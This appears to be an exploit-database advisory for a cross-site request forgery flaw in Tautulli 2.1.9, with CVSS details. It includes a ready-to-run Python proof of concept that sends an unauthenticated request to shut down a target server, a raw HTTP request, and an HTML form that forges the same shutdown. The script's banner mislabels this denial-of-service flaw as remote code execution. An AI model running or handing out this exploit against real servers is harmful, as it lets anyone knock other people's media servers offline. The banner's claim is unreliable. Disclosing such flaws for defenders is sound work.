Tautulli 2.1.9 Cross-Site Request Forgery

2019-12-18 / 2020-01-06
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: Tautulli 2.1.9 - Cross-Site Request Forgery (ShutDown) # Date: 2018-12-17 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://tautulli.com/ # Software : https://github.com/Tautulli/Tautulli # Product Version: v2.1.9 # Platform: Windows 10 (10.0.18362) # Python Version: 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] # Vulernability Type : Cross-Site Request Forgery (ShutDown) # Vulenrability : Cross-Site Request Forgery # CVE : N/A # Description : # In the corresponding version of v2.1.9 by the manufacturer of Tautulli, it has # been discovered that anonymous access can be achieved in applications that do # not have a user login area and that the remote media server can be shut down. # PoC Python Script : #!/usr/bin/env python # -*- coding: utf-8 -*- import requests icon = """ _____ __ _ _ _____ _ _ _ _ _ _ _ ___ __ ___ |_ _/ \| || |_ _| || | | | | | | | \ / (_ | / |/ _ \ | || /\ | \/ | | | | \/ | |_| |_| | `\ V /'/ /__`7 |\__ / |_||_||_|\__/ |_| \__/|___|___|_| \_/ |___\/ |_\//_/ Unauthenticated Remote Code Execution by Ismail Tasdelen """ print(icon) host = input("[+] HOST: ") port = input("[+] PORT: ") response = requests.get("http://" + host + ":" + port + "/" + "shutdown" ) # You can also run the restart and update_check commands. if response.status_code == 200: print('[✓] Success!') elif response.status_code != 200: print('[✗] Unsuccessful!') else: exit() # HTTP GET Request : GET /shutdown HTTP/1.1 Host: XXX.XXX.XXX.XXX:8181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://XXX.XXX.XXX.XXX:8181/home Upgrade-Insecure-Requests: 1 # CSRF PoC HTML : <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://XXX.XXX.XXX.XXX:8181/shutdown"> <input type="submit" value="Submit request" /> </form> </body> </html>


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